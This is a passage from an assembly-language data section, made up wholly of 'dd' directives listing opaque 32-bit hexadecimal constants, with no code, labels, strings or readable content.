71764264h, 68093829h dd 6507BC59h, 0DC250050h, 2E00C3A2h, 71F0A569h, 24AF5832h dd 34E202h, 11D7CEF7h, 8E017251h, 14BC678Fh, 0B86C1F0Ah dd 6294B680h, 1D166448h, 0D41D2A3Dh, 2D08C940h, 9698D201h dd 40BF93F8h, 992FCE7Ch, 19C07F40h, 0BFA0315h, 2EBC006Dh dd 0E36375DCh, 7906D206h, 1CDBD3EBh, 0FC0E5348h, 0B5B76509h dd 649020D0h, 29708088h, 46DD4500h, 9FCD8372h, 0F2F2A6h dd 0BD0CBAEEh, 3CA1EAE9h, 48FD0490h, 9E021928h, 94C3F064h dd 52BCC276h, 0B5E60088h, 0E0F795A3h, 0D016ED46h, 4C06451Dh dd 4850EC04h, 402CCC5Dh, 0A8F440CCh, 661DB8E1h, 0C4C5D969h dd 8880C554h, 0BA5BB60h, 0B7E1EC80h, 2C57F082h, 8080E429h dd 3A7DC0h, 0FE3798CEh, 0FD779F39h, 0B0468D2Ch, 14228A16h dd 2730FA71h, 31D64172h, 3BF7AF02h, 841060BCh, 675F26FDh dd 0C79C4154h, 0B9B0ECA2h, 0C34E1E00h, 27120CC8h, 90A37D48h dd 318445Ch, 3280D350h, 41C06D7Ch, 9FAAF8DAh, 0F7FE07A1h dd 53986AC3h, 0C04B6EF4h, 7125BC02h, 628CC001h, 9E11017Ch dd 0A8172A3Ch, 0F4002197h, 820079FEh, 30E8C161h, 0F026D89Fh dd 0E1AC3F7Ah, 968F6E01h, 0CC48F60Fh, 854A25E6h, 0A6322C30h dd 0E0E3603Ah, 0BF11F659h, 4565C902h, 890B13CCh, 4C71ACh dd 4A8763CDh, 0DA00E090h, 84991E81h, 26B3578h, 620A2515h dd 0C84603E5h, 46894F00h, 247FEC76h, 0A05D7566h, 2DB2D984h dd 3013C953h, 0A7DF00Ch, 0C419872h, 206BED64h, 60000821h dd 33A718DFh, 2D3B6370h, 0C8905182h, 3D0055C6h, 91EA9279h dd 69AC0Fh, 28CF75BAh, 0E221B0DFh, 47E60112h, 1BE39420h dd 8FC50011h, 60CE2B06h, 0E701AC49h, 93AFEC27h, 0A02C5CDBh dd 8ECFB4C2h, 775A9487h, 98988BFBh, 0C5004B24h, 0B219CCC6h dd 1E95ADA3h, 0D21DDAFCh, 0D9AC0444h, 0D1B480BCh, 0E72458FBh dd 0C1085819h, 496E851Ah, 0A9CA474h, 0E242DCF3h, 89DC9000h dd 0A302E1B6h, 59C8A288h, 0E31E0724h, 7BC910BCh, 39001B4Bh dd 0E975EAF6h, 90B8048Ch, 0AF5F121Ch, 0F43889A9h, 80008EB1h dd 0AC740AE8h, 53C9B62h, 56FFA768h, 6C25C0E0h, 0C63ECED6h dd 86726C7h, 9E202540h, 8CF676h, 524D215h, 561448B1h, 69E01050h dd 171D3920h, 60BA4347h, 0C9B8B210h, 42447F00h, 7C3F175Bh dd 1AA801DFh, 7D23AA61h, 0BAB1E47Eh, 90271091h, 39EBAC0Ch dd 0FA801487h, 78257029h, 2C009CDBh, 83C426DFh, 0FC91D53Ch dd 1680E8B5h, 0C85017D1h, 0D2077244h, 0BD23842Eh, 0A177D740h dd 34A612EBh, 0D12CA015h, 0A805FC05h, 88671Bh, 0DE7214B9h dd 9A018D14h, 88854909h, 2A0BB4Eh, 1B32016h, 40E45647h dd 5215D5D0h, 0E79FB501h, 5827F9DCh, 3DFCE860h, 250BF6D8h dd 8044478Dh, 10E74498h, 3BD090h, 16F0B723h, 0E8C3BDF2h dd 71E93F17h, 0A5397008h, 6A0044C4h, 0C67735EEh, 0EDB416h dd 4F17603h, 0C9EA6D99h, 7DB88B0Bh, 1D301906h, 787A3CD8h dd 2E090062h, 81C6FADDh, 99E686BEh, 0FBB2680Bh, 729C686Bh dd 0F93C3E1Eh, 0F6E4F780h, 0B15D362Fh, 50385809h, 0C2D01168h dd 62A07DCh, 96EC16B5h, 0E50E923Dh, 449312B1h, 0C800187h dd 2C315EAh, 1E31D1EDh, 98719BD2h, 409DC910h, 0D7EC134Bh dd 0EE09B20Ch, 58F89D82h, 14D88834h, 0ED570A1Eh, 13EF38D7h dd 6998CC92h, 0ECF7A917h, 0CD17F003h, 8A87A196h, 0A43460E2h dd 44F92D26h, 6D58440h, 0BE01B872h, 1525FD4Fh, 1CF8BD84h dd 0CEB418C8h, 0DD42B8E7h, 16BF5B1Fh, 0D94D5502h, 0B45191h dd 49A906A2h, 6C4BF865h, 0C0F97093h, 630748h, 3B624C29h dd 0B0992DB3h, 94ACEF00h, 0C6A383F3h, 0D9C102ECh, 6D4B603Eh dd 0DC0058D9h, 8040D726h, 5E700C6h, 0D5BE392Fh, 0BF4E495Dh dd 12B5888h, 17F8AE4Ch, 70B4E1C3h, 278823B0h, 97F00A8h dd 55BDEC4h, 310030F4h, 0B8F2142Ch, 14D54C9Ch, 0C446D66Ah dd 3F63B080h, 8B1470ECh, 0BA822B1h, 44E5B262h, 367E009Ch dd 0EC8E1D2Ah, 6B5F678Ch, 2DCF8040h, 4F546FDh, 2461AA33h dd 53CCA48Bh, 178862FFh, 0C0206CB7h, 17F0DACCh, 127C5392h dd 5ADCB095h, 174099F0h, 0E8D98A43h, 8DDD3000h, 0F9790Dh dd 32E80FBDh, 5807B951h, 0A1EDB30Ch, 0FED9485Eh, 8E35CC6h dd 0DC2907C0h, 109893Eh, 589DF88Bh, 22C89040h, 246019CAh dd 5B0CD2DEh, 0BD7809ECh, 28005F86h, 0B86F82D4h, 4ED3021Bh dd 5D700099h, 864310CCh, 0D0009D8Eh, 0BD718F2Dh, 24C19BB2h dd 0FF8C2A1h, 0C98586DFh, 8070AC46h, 0A8D6EF6Eh, 0E2353C3Bh dd 576900FDh, 225E441h, 620E2F5Eh, 46EC6B9Eh, 38B0048Ah dd 91898648h, 10C48E24h, 78B0B801h, 5A4FC304h, 9B808C6Ch dd 0AF837D9Ah, 0CD635002h, 7EE4D593h, 13CA629Ch, 221E8084h dd 5814E486h, 6C012403h, 98258994h, 0C0E84851h, 7F0798ACh dd 0C5E0D2EDh, 2C7A9333h, 61584441h, 0F0F71150h, 0FE007427h dd 973F6163h, 2CCD848h, 25E53E4Ah, 0A8875B1Dh, 2870F953h dd 791D15FCh, 0D8408C8Fh, 0F0BA1648h, 0D2961324h, 67E092A7h dd 6000ACE4h, 0C264C3E9h, 0FA91F185h, 0F92805DDh, 0E20A8FB0h dd 784E1D28h, 0C4900B01h, 1C308566h, 0BDAB1713h, 24143138h dd 0F93D6075h, 9FC56100h, 201D4D37h, 0FF9D3FA0h, 5657B681h dd 3368B2DAh, 497E00B4h, 2B80C194h, 308A00E2h, 0B0ECE0F8h dd 9512771Ch, 0A830544Ch, 83EB80h, 7B5BD7CEh, 0B1687CF6h dd 1F66E8A0h dd 80C0024Eh, 0BB7AD91h, 0A4D3ECBFh, 4013844h, 9A02D6E3h dd 0A2E31D0Ah, 91C88721h, 77EC8399h, 8B1CA0E6h, 87B809E1h dd 74879D84h, 0F0BFC566h, 6E4C4C50h, 0B4ED03B0h, 0E543E35Dh dd 0CA26DC30h, 444D0006h, 46A7622Ch, 7F02CFEBh, 0DFE43EC3h dd 95B0D09Ah, 0DCBEE810h, 0F984F400h, 0BFC3D845h, 2DFC3Ah dd 0D3D9217Bh, 0C853370Ch, 8F647C9Eh, 22B438C3h, 20931818h dd 0BE89C390h, 1500D4D9h, 55DF3E9Eh, 27190770h, 0B79FA0ADh dd 4099E00Eh, 54B1CE53h, 9B02BF02h, 5B8C828Dh, 40F8D6E0h dd 0B6268BB0h, 0B23CD80Eh, 43FC00Fh, 74C0A9h, 0D716ED0Bh dd 97B3597Fh, 6C405E2Eh, 80AADD40h, 0D62F0356h, 47B462E1h dd 9F3178B8h, 9639CA05h, 0BCE20B0Eh, 0F377CD0Eh, 0A55FB000h dd 6A0E2F36h, 0E0A299ECh, 1C5C653h, 23A16B3h, 0D5D4A5D2h dd 0C8226A9Ch, 35C010D8h, 0DC305B0Eh, 90B2935Dh, 0EC591800h dd 8BE7D208h, 404C3E7Eh, 337D8080h, 1691CD60h, 0F0CA8C88h dd 0B22FD81Ch, 8A181002h, 41AC005Eh, 0B16A04D9h, 3F38F32Dh dd 0D3408E42h, 80B2B30Bh, 4C74AA07h, 60E1000Dh, 2001A164h dd 0FDFE6D72h, 203E1B99h, 82C86AD0h, 502A3E00h, 8B3CEE86h dd 0DD330B5Ah, 0FC738C24h, 69E76E02h, 0E6C4201Ch, 0C6F6FE2Ch dd 6C88325Ah, 0F81A00AFh, 36BC6109h, 311E6933h, 0D1C13F35h dd 0B4884DB5h, 0FE0550BFh, 8089B980h, 0B2BED8D3h, 914070BCh dd 2155EECh, 0B5497360h, 92604205h, 243F22DDh, 4C0C8CDh dd 0B777F77Ch, 5F0EA104h, 0A02F7200h, 12EAE9CAh, 0C0F135D0h dd 0BEF6CED8h, 2036130Bh, 89AC4846h, 828D0038h, 853342DCh dd 5448B5FCh, 0A8B97148h, 81C07E80h, 3CC34751h, 2F13641Ah dd 0EE60A053h, 10608577h, 42F247D8h, 82252D9Ah, 0D5F08013h dd 9E5AEC97h, 0D018E080h, 0FCE453h, 1089152Ah, 829A4C8Ah dd 645CA100h, 67A5D7E3h, 8F5F0FD6h, 6A003087h, 0B503E011h dd 0FFF1A600h, 76BE174Eh, 946E008Fh, 781ACD83h, 5E04D4BFh dd 0E39F70F9h, 613EEC82h, 0F1102704h, 0C20F085Dh, 9334C4D5h dd 0F900B8A2h, 4DFCB205h, 0BE1E645Ah, 0CE879D07h, 0D5871C92h dd 832540B0h, 0A06726D4h, 0C47C0960h, 0D0E174E4h, 0AB3A99EDh dd 9E7400DDh, 0AF2547F7h, 0E9D703F8h, 286BB2A0h, 0E7E08901h dd 0E6AA6A2Ah, 1A64FC4h, 47D1ABA5h, 0EC7A2032h, 0C30B5191h dd 0C1FF2FEAh, 64607CBCh, 7411880Fh, 60A8109Fh, 1EC00FCh dd 0B8CF1618h, 0EB3A12BEh, 60B5A6E9h, 61240BEBh, 9819488h dd 0D1D6ED93h, 6C82C4B3h, 0DB803896h, 0D724283Dh, 0B4E400EAh dd 5E57C1EFh, 0F300BAFFh, 0D181A302h, 5CA174E1h, 6502CC28h dd 55533203h, 6D164321h, 3794029h, 518DB667h, 0E3885F14h dd 0E4E52E06h, 6D04FE13h, 0AAF1A2D0h, 0BA87D4ACh, 7024C0A3h dd 0E300745Ch, 503E309Fh, 0DE4975h, 67BBA5B4h, 17BE98C7h dd 0D08FC830h, 2DDC087h, 0B95FC1A1h, 30D9CB02h, 1082A511h dd 0C4F68524h, 5C445745h, 58B8CD1Ah, 4403380h, 820E26FEh dd 8036D619h, 0CB5752C8h, 0B06209CCh, 88005986h, 0BD79D23Eh dd 835B1377h, 0EA6450C1h, 0F5C47300h, 9F12CF79h, 6CC849CDh dd 27B1005Ch, 5DEA4F9Bh, 0CC004684h, 2CA55775h, 8A2F68D4h dd 0DDCBC07Fh, 0C7530E9Ah, 0E6A0D645h, 5E6FFA3Bh, 16B00C07h dd 77F0CC61h, 3008C79Fh, 0C59842DDh, 0C81486EEh, 9F8FB93h dd 20993474h, 1230C0E0h, 5728CA8Ch, 0C18426E0h, 85DA2372h dd 39C168C0h, 92289408h, 0CE74D047h, 5B010ADBh, 22FB9F1Dh dd 0D940E3B2h, 26E64814h, 0BEC4602h, 8C906C31h, 1CE4D14Eh dd 0E4835C00h, 0ACB03616h, 0AA5F1749h, 86A0338Dh, 9A4D3CB8h dd 550ABC00h, 0AF76D590h, 692700CDh, 6E22FC17h, 1E2CCCBEh dd 424A834h, 496C7780h, 4AE0151Bh, 4E88925h, 0C2878484h dd 6E251CE0h, 259818C1h, 808871CAh, 2360D5DEh, 8B18E24h dd 8735A300h, 3CE0E6D3h, 46065AA2h, 68F149F2h, 9082152Ch dd 7C1C4438h, 0AE6A3052h, 612DA50h, 0AC910104h, 4C004A71h dd 679F9B79h, 1B5AFF09h, 35D88161h, 2020C3DEh, 0B10B0F94h dd 73E0FE1Dh, 2BC053F9h, 444C0A4h, 45F10CF0h, 84C02D5Ch dd 59E0E401h, 7FA08B67h, 782C8DCDh, 0A4EBB1C0h, 574B8093h dd 0F0834C0Bh, 0E0CA49F8h, 0D8844289h, 7E048071h, 0CCBC524Bh dd 63152404h, 0A7A32487h, 6920027Ch, 0D502C301h, 744788DCh dd 69E25D22h, 0CC3C8244h, 4AB7601h, 7A99D3E9h, 0E0577821h dd 7205143Ch, 0FC017E41h, 0E8D18014h, 5B59E80h, 3B844202h dd 90B29Dh, 0D63DEF52h, 30A00D26h, 949090DEh, 90BD33F1h dd 0A7B1874h, 298A0B25h, 484111E8h, 4B27C038h, 3880BA74h dd 9D011826h, 2E84B883h, 16C0F4A4h, 0C842C707h, 0DA91D0EDh dd 316F4957h, 344D5600h, 6E139F04h, 0C50BE379h, 0E49C9071h dd 63E639h, 8E8AC71Eh, 3B7F2E4Eh, 258E548h, 11222896h dd 48F9D7h, 8A570402h, 87008348h, 65CC352Ah, 319F33Eh dd 0C598B772h, 0E28CBD09h, 0FB58F4h, 0C8AD14C0h, 9D04B28Ah dd 0F0992287h, 6FAAD50Ch, 0EC500317h, 0CB9B1001h, 846247E0h dd 4809638h, 2C52E4BCh, 0AB1CDA69h, 0A3458DCBh, 0FCC940E8h dd 0BE2C220h, 68941CB7h, 0CDAA8098h, 0A6028100h, 52541A0h dd 58760E12h, 0AD625293h, 5CC6FEBCh, 82202339h, 0A230BEA9h dd 0CF4C40F4h, 12BD3C65h, 8B24418Bh, 0E092EC59h, 4D75C0B3h dd 8A81E8A0h, 113E8025h, 6010D071h, 98002202h, 2FD6A57Bh dd 3DC629CAh, 0B88EB50Dh, 263BC0Bh, 314ADACFh, 3F1514C8h dd 8D80668Eh, 3AB41BD2h, 411E0D5Bh, 12BB0F02h, 6C0F20A2h dd 0DFA0D9E5h, 280C092h, 0C15C67DCh, 6B8B7840h, 0EF2880E5h dd 1BCABC1Dh, 80F8B909h, 24F5E098h, 0E2008978h, 0F6F18E2Ah dd 266C917h, 0B0FE1FF2h, 0B4987A25h, 0B9006C53h, 0DF991679h dd 0EB9301h, 0AF509F03h, 87B4413Bh, 4EC07800h, 565CDDE4h dd 0DCCB2805h, 332F4470h, 850AB200h, 55E071C9h, 0F78C1D3Ch dd 4D01C004h, 9B800CACh, 73013894h, 5DBA338Ah, 1CF5730h dd 0B0EBC9D7h, 3A6F64D2h, 0F1DF5820h, 12C7004Eh, 0A54C3E1Bh dd 52000A59h, 63FDF78Ah, 16B17C17h, 8E9DBCh, 9E3C0BDCh dd 5738E8CBh, 7A9F012Eh, 78DD1548h, 252Eh, 0AC66F7D2h dd 64030F89h, 0D7CD2C1Ch, 0E129F371h, 202BF9B7h, 0E9098494h dd 56551801h, 8F25E306h, 204A703Dh, 0FF728600h, 8A14007h dd 0CB10D64Dh, 7EB483BAh, 0E38116B8h, 0EA0C00BFh, 0C06CA2D7h dd 56FDE200h, 9B058FB6h, 0B589865h, 0B77CB2A6h, 87630C00h dd 9E027817h, 75F85114h, 3EB06007h, 0D23D0B1Ch, 0E0C40AA1h dd 9A4164Ch, 0E414E07Ch, 312700C0h, 0C10453DFh, 0B03F3570h dd 0FC80003Bh, 1EAECF85h, 166901D5h, 0E18C27D8h, 80D42802h dd 3031D76Fh, 1B6A00FBh, 0D46CA377h, 0C613A17Ch, 3C89CA53h dd 2E86FECh, 0E0113C33h, 48C6496Eh, 0FE7D2DF6h, 0CFAD5918h dd 0B6EE9C0h, 0C6D4D3E1h, 0CBA09C82h, 203568C1h, 0BF5C1D78h dd 3C4122B4h, 0A312B29Dh, 1AE0B071h, 1061DF2Fh, 11F74Ch dd 2181387Ah, 15E21BC4h, 6BC9EC1Dh, 97F00843h, 204B8A6Ch dd 9215D00Eh, 574A1402h, 0E099035Bh, 4FD289F4h, 6790929Dh dd 9CB71880h, 61130103h, 0CC88A82Dh, 77C100CFh, 95361023h dd 0D90D7BCEh, 21448624h, 6CA4202Ah, 0C40EDC77h, 0C061F58Ah dd 0FB0ACA42h, 6E1A1EC3h dd 0E589C04Dh, 587F8AC9h, 0D73D1507h, 0E42F28FCh, 0CCB9D505h dd 5BFF850Eh, 6DB8E7C2h, 24E04480h, 6B009B88h, 98F07E2Dh dd 5AB66F32h, 83E80202h, 84C0274Eh, 4D4F2276h, 8C574C80h dd 0B9E30D2h, 0BD928FF1h, 78A5016h, 386084B3h, 9EF4B373h dd 1D247409h, 0CDF81861h, 7FD40793h, 576911FFh, 0DCF4C0B5h dd 7001D229h, 4D88D5C3h, 0A8305C20h, 0D30C0246h, 0FCA2BBEEh dd 56CFC80h, 0B75013A3h, 0D7068AF0h, 7798E3D3h, 0A0650130h dd 0A182EE3Bh, 17787466h, 0CE2D7F76h, 2346491h, 0A19BACAEh dd 0C0F68182h, 52C08640h, 966D0001h, 9AE96441h, 3E01B90h dd 0C8079503h, 9475023Bh, 54593C87h, 8737C010h, 0C0B447C6h dd 40620780h, 0DD133Bh, 819D9F75h, 0F91BD5F5h, 7595A02h dd 5F09AE2Eh, 1F3BA760h, 0CD29D02h, 63B86164h, 4B9CE987h dd 0D2C468B9h, 98CCA55Bh, 20A04ED3h, 0D1738FBCh, 52090FE0h dd 82F31B25h, 2449983Ch, 8710AC5Dh, 0E6C0018Dh, 1D0C12C0h dd 40AF537Eh, 935CE474h, 3476361Ch, 20C88FB7h, 0BE9FD47Ch dd 977ED9h, 0A47E6C0Ah, 0BA8710C9h, 44D0B725h, 0A127006Ch dd 0C30AC27Bh, 0FE1EA62Fh, 0F65D1282h, 1CC70FDCh, 0A72068D4h dd 0A68C4D6Ah, 9062C7C0h, 376580F8h, 0D93D8A70h, 88CB8089h dd 0AB295FFCh, 94334884h, 0C89DD0C0h, 0BF00D535h, 43D0A2Ah dd 707EB8Ah, 9E8308E1h, 0C853B1D0h, 48226F24h, 62C9204Eh dd 0FB2F7980h, 0ECA8E0FCh, 0EE2EFA6Ch, 52057923h, 0D20AF04Fh dd 7D0CD22h, 7B55533Bh, 0CE6FA044h, 15BD0451h, 1DE5B0F0h dd 0C191497Dh, 0AD9BA4EBh, 258ECC02h, 0EC30874Fh, 0C0446447h dd 15CF3758h, 8F7C86BDh, 54ED4101h, 0CD02943Ch, 2860AC79h dd 0D786EECAh, 78CF0E00h, 578ED4BDh, 17498CDh, 0EE0C0760h dd 2E345B85h, 4824508Ch, 0EDC10482h, 8109E5D6h, 1773CFA1h dd 85C5D01Ch, 622C30h, 0C907E9Fh, 45DB16BDh, 412F1DE8h dd 4C5CC41Bh, 7900CACBh, 0B1ED9465h, 860BF91Ah, 0DA29A2h dd 83ADE366h, 84109D1Eh, 773208CAh, 0E0A1BCD8h, 43E87FEh dd 22BD5E50h, 8120A840h, 0E6164BD5h, 0B8C29DDFh, 40182BDDh dd 0D000220Ah, 661D2A8Fh, 1D7DF9CCh, 15EA37Eh, 2343379h dd 0D022C9h, 14D609B9h, 4E619FD1h, 3B44C894h, 76489900h dd 0A65E441Ah, 0C78100E4h, 54CF1307h, 6B087815h, 4B852AFh dd 64ACA08Bh, 0E0A002ABh, 0B0908525h, 3B16C368h, 0F4207450h dd 0AE277Ch, 3C83B915h, 7612C9Ah, 0D18EE300h, 6EC7BA3Dh dd 19D228B2h, 38379E8h, 0C35C87CDh, 702218E2h, 47464B22h dd 722D23ECh, 7C5E39E5h, 0F9503F09h, 91BA008Ch, 1D730495h dd 9913FC00h, 80CAC235h, 56D14A05h, 0BF1C8834h, 0DD04FDFAh dd 0FA816E3Ah, 1D5C46C0h, 91C30027h, 0FFB52E41h, 0B7268BB9h dd 5B0EB9A2h, 5FA18128h, 3C40CE53h, 0BE9500Dh, 0D8024857h dd 0B6BEC810h, 9C906C4Bh, 9AB887h, 0EE26DFE2h, 9B584CA8h dd 0C3161A7Ch, 0D430A1EAh, 0EF9E3404h, 2815E0F6h, 0D4442F10h dd 22079466h, 8F4F1588h, 639FC0BEh, 9DF12B2h, 0E092785Ah dd 0D10010E4h, 0F061651Eh, 2530BA53h, 0E0A3D302h, 0A8ED0CE3h dd 7E261484h, 44834CE8h, 1679C9E8h, 2B16C1E0h, 6CF1C6A0h dd 98800843h, 928ED20Dh, 8D6B1610h, 8BF88C6Ah, 70C66000h dd 0E7161DDAh, 3BD92C98h, 536D0518h, 8AC0C263h, 80393471h dd 0BDA28C77h, 46D198Eh, 8253E4AFh, 894A8E0h, 81CF02E3h dd 0DE75B84Ch, 0EC243EC7h, 0A28A6480h, 54189D45h, 9C006C92h dd 0A96ED1AEh, 56F7E58h, 0EFE09A28h, 0B1A0C1BEh, 4613D0BDh dd 5E8000BEh, 8DD30936h, 73C02D2h, 85490C35h, 0ACD803C3h dd 0D709A2EBh, 71CC02A3h, 0E1E11754h, 8C8D2EA4h, 2601E2Eh dd 2E377E96h, 0F444450h, 687B2799h, 0C0A884A0h, 5C12E093h dd 84C8D5E5h, 9BF5002Fh, 34E5EECh, 4A02BED3h, 88C483FCh dd 80DEE1BAh, 0B128D82Ah, 0B598F700h, 3AC37786h, 8003974Fh dd 80BC4716h, 0D2547BB4h, 0C953B413h, 0C60020F2h, 0EA16B8E4h dd 0BF3391E9h, 3CB59086h, 0E84C65D8h, 8CB2816h, 0C08E4DCCh dd 0BAB621DEh, 0D842EF22h, 63084036h, 64F908DFh, 888F1268h dd 2AB5A137h, 207EC905h, 6B4B86Ch, 305C94A1h, 0D512B1C0h dd 0F830D228h, 5EEB0Ch, 476187ADh, 636A12BDh, 0E95890BFh dd 773B01D1h, 38882FBBh, 238470B6h, 0C0A8AB48h, 98FC6DB2h dd 1AF027Eh, 79DE437Dh, 3D48DCh, 0F2D2E354h, 4512DDFh dd 0C673A6EAh, 22A4FCB4h, 5E20F901h, 521E5C4Fh, 74DDBE28h dd 91205E2h, 0F1370382h, 0E4202EA0h, 2A4744h, 342B18BFh dd 92B7F6D1h, 0EA6D6A18h, 9E3538h, 0AE7ED4B1h, 56457053h dd 66A040F7h, 0ECA31FE8h, 0A8853CFAh, 0F5B309CCh, 0AFA6742Eh dd 31057050h, 464794D5h, 900754EDh, 2329F7F6h, 87B06A36h dd 0DB00F878h, 244ECA5h, 9E0E9A8h, 0CB53AB08h, 5967187Ch dd 1E24F1CBh, 0AD0D0787h, 90C8E423h, 52613F4h, 0D1EAE905h dd 0D4B20F02h, 2DF7A507h, 869EF0E1h, 600CC04h, 0A41259DBh dd 0BFB047FAh, 50A20002h, 1B046058h, 5C0CD3DFh, 608874B0h dd 48D08C5h, 8F028582h, 0CD12F48Ch, 0E4DCC0EFh, 2438A8F8h dd 324F00C5h, 0D8C74522h, 9A3A471Bh, 1088A797h, 717D2F0h dd 0CC0CF5D6h, 9BE9D0AEh, 0C801C487h, 5304D9A5h, 216ABC17h dd 0E83103E8h, 0BE00E69Ah, 0B6CAA41Dh, 4B8EA1EBh, 55B4C866h dd 0B5928A00h, 0CAD7ED37h, 0D1E2007Ah, 58737C0Dh, 8809C9EAh dd 68743E48h, 8BAFECh, 6FCFB2DBh, 0B494A09Bh, 4487862Ch dd 5202E560h, 714D007Eh, 0CADB8D31h, 0F80B0AA2h, 83D1D5EFh dd 0B0E69905h, 24463283h, 40346726h, 0FE8D92CAh, 0C231DC03h dd 12DA957Bh, 0BC1DE928h, 0F3DB8F70h, 0C80E9D02h, 430456AEh dd 0D8E0919Ah, 0A005CDE1h, 0E56413A1h, 90A2F800h, 91D0057Eh dd 0E9E281F8h, 28E81F4h, 6224FEC8h, 0B8E20A3Ch, 3513F4CCh dd 14007997h, 75284120h, 0D21281BDh, 0F6E7D440h, 0D1D3A301h dd 0DD56DAC4h, 88D7F430h, 0BC969BD2h, 720C7140h, 0B148096Ch dd 287C44FCh, 5F876E44h, 0EB910C20h, 0C05200EDh, 362460EEh dd 0BCF8053Ch, 7343F498h, 9E49D900h, 0A8CA442h, 0B7396600h dd 0DBE2E547h, 5CC52415h, 0D4EA00B0h, 8A45FC86h, 12601D59h dd 980F7640h, 0CFA10483h, 8B8090B8h, 4614D12Ah, 0A24FD800h dd 102E7F3Fh, 0DDAF39FDh, 7C93D20Ch, 60A8BA81h, 52009C8Bh dd 0E04A3E70h, 25DD40h, 7F3918C9h, 279AD2Ch, 1D674C5Ch dd 0CD00F815h, 3290AE75h, 600DF03Eh, 8F3511C0h, 7B6FBFD8h dd 8CA48828h, 0CF087AE7h, 0F174F9F4h, 8FA22400h, 0AF4D9DE6h dd 0C7C45CC0h, 314E428h, 94DA48E5h, 8EE08DD9h, 99005ACEh dd 16952CE2h, 83757B14h, 36976003h, 9C9666h, 3D95DE11h dd 2D9631Ch, 0D379641Fh, 5AB818FEh, 1EA3F91h, 2823FD7Dh dd 0D82E4EF1h, 1514A5EBh, 1824797Bh, 9931C6B5h, 2E539058h dd 621D38h, 92FD444Dh, 0A600806Eh, 0EC146C2Dh, 609CFB2Bh dd 0D6B999F0h, 4303414Eh, 961527D0h, 7F590198h, 3F3CA4F3h dd 325F6023h, 0EB30DA01h, 0FFFB5E6Bh, 0A54E4182h, 88A072E7h dd 0A60A205h, 28737007h, 6AEC156Bh, 32420527h, 4FF44609h dd 0AC22A458h, 61FDDAB7h, 985C6C97h, 596E6143h, 0DCA54414h dd 0E8001115h, 0DA63C6FDh, 0CC1EE6Fh, 0FBF55ED7h, 0E7001039h dd 0D4E9F0Ah, 18099C94h dd 18C55321h, 491918B4h, 4F815CB5h, 0B8A2E3F2h, 17CF8EEh dd 53262F95h, 0C8D112D9h, 3900F493h, 0BCB95A01h, 0F3F35E42h dd 0DC2E6981h, 0C4E50B16h, 9801F561h, 0E77A5506h, 0ABE0F7CBh dd 8CE452D3h, 9E049400h, 3E5073A1h, 19C07FF8h, 58DCE53Ch dd 0FDFF00C6h, 81626336h, 0C700E920h, 85CFA02Eh, 0C3058E7h dd 7DE47211h, 2100C639h, 0C805F368h, 609C857Ch, 0F98699FAh dd 73013F58h, 0A7625F30h, 0A44D4797h, 0A8C4B5E0h, 366D80h dd 0BCD49BF4h, 0F73C576Bh, 9FF43D50h, 0C4A89771h, 4F0002F6h dd 0DCF27B69h, 83453h, 721B12B3h, 0C10EFF83h, 0F15E51C3h dd 4D8924AFh, 113F0378h, 7C929613h, 0F89DEB60h, 1EC021C1h dd 4E60ED68h, 0F76A00B4h, 9470887Ch, 44902D02h, 1609344h dd 91A14FA5h, 0FCC8BAB5h, 0DE0C1E81h, 0D976E43Ch, 6A86C192h dd 0CC3216CAh, 0F00C864h, 0E338454Fh, 0BF08955h, 0EF7A1C36h dd 0E77B7700h, 2A1D5EA0h, 6201A53Ch, 23F110C4h, 4C9760h dd 6F7E309Fh, 18A9E814h, 3A532700h, 2D15E4C1h, 767A18F1h dd 0E97A18Bh, 0C32E9E00h, 8545A1D8h, 0F21F0035h, 96F4CF14h dd 8E1F521Ch, 0F1243048h, 24A5509h, 43021364h, 0B8499478h dd 0EACB8C10h, 0E0C78803h, 980DCA9Ah, 3192D7h, 0E7F80BCFh dd 0DA2E13E9h, 0EC03E4F4h, 693D9424h, 7D43C8A1h, 2F4F00ADh dd 4DF60DC1h, 57000532h, 0FB9E613h, 0EAF864h, 58C07E1Dh dd 96787B6Fh, 51B581CFh, 0C079C81Fh, 0A1F4C9A4h, 46003394h dd 89DA2D53h, 54E467E1h, 0CCBC7Ch, 33494FBFh, 8455F8Ah dd 4C0E3BEEh, 8FD62B3Eh, 4D97E3DBh, 7A311274h, 5C71h, 5BFA0642h dd 790096A5h, 0F938D4CDh, 3BFB7C9Fh, 331C4717h, 20929BC8h dd 0D2A15780h, 0F638AA1Ch, 0BC231AC7h, 0E09FE0FEh, 0FB1FCFh dd 0E4417F37h, 0C574D56Eh, 0D87EE70Ch, 7BAC41ADh, 7085E181h dd 81286EFAh, 87A9D6DCh, 876D4721h, 787308ECh, 4083034Ah dd 7BBEECD2h, 7D0A3900h, 8161494Ch, 9BA2064Eh, 409DCACDh dd 41B0A500h, 6EE796D6h, 1FA70048h, 36DAD210h, 600062F9h dd 4217B2FDh, 801235h, 72635FCBh, 2CF2343Eh, 0C0C0E67Ch dd 692E07EFh, 0C5570347h, 7618ACA3h, 0CDC38101h, 902B4EB5h dd 307E1530h, 0FC19338h, 1B90C474h, 59137209h, 0A418255h dd 50E18105h, 22DF64C3h, 70007AD1h, 0C8371DE1h, 15DFE26h dd 0AED4D284h, 80AF3811h, 0C90DCC59h, 0B3791BAh, 9D358A8Ch dd 0E041DD00h, 2213BEC2h, 9300DBC8h, 391F2F38h, 56970083h dd 497EA5F4h, 910015B0h, 19C933D7h, 1820B580h, 0E852B179h dd 8350AC90h, 0EE00C270h, 81124E5Bh, 2FAEBF1h, 0FB3F420Eh dd 1040B69Fh, 78394339h, 0F3A88218h, 2E9ACD7Eh, 80C404AAh dd 708E3C09h, 7E00CCF8h, 0D113E06h, 4EE4F5h, 26C4748h dd 17455C3Dh, 94016EF0h, 0AB28BF0Bh, 3FECED69h, 0FD9B04F9h dd 9056A16Fh, 0C3626850h, 80DF7639h, 27E15770h, 7466A210h dd 0F0196171h, 815FA1AFh, 31E0CC31h, 0BDC0F227h, 15E1C082h dd 0BBB2A0FAh, 2962E200h, 0CF6F4458h, 0FF10016Eh, 21B5C996h dd 0ED10204Ch, 0A39FF101h, 0E6C736AEh, 1B74C20h, 183442FEh dd 3015D7D2h, 1E000C97h, 58F451CCh, 9195396Eh, 0EC050A78h dd 59C0038Bh, 0C7A8BE57h, 20015EDh, 0B8229167h, 287BA7CFh dd 800E0Ch, 1E0AF254h, 0CA188E16h, 0A1A89E54h, 94600F00h dd 0B66E0654h, 39701883h, 0CB2369ABh, 92C60400h, 892FEB49h dd 50A12A88h, 61B40084h, 0DC4807E3h, 4607BE77h, 0C3D9E556h dd 0F6D01737h, 7F365Ch, 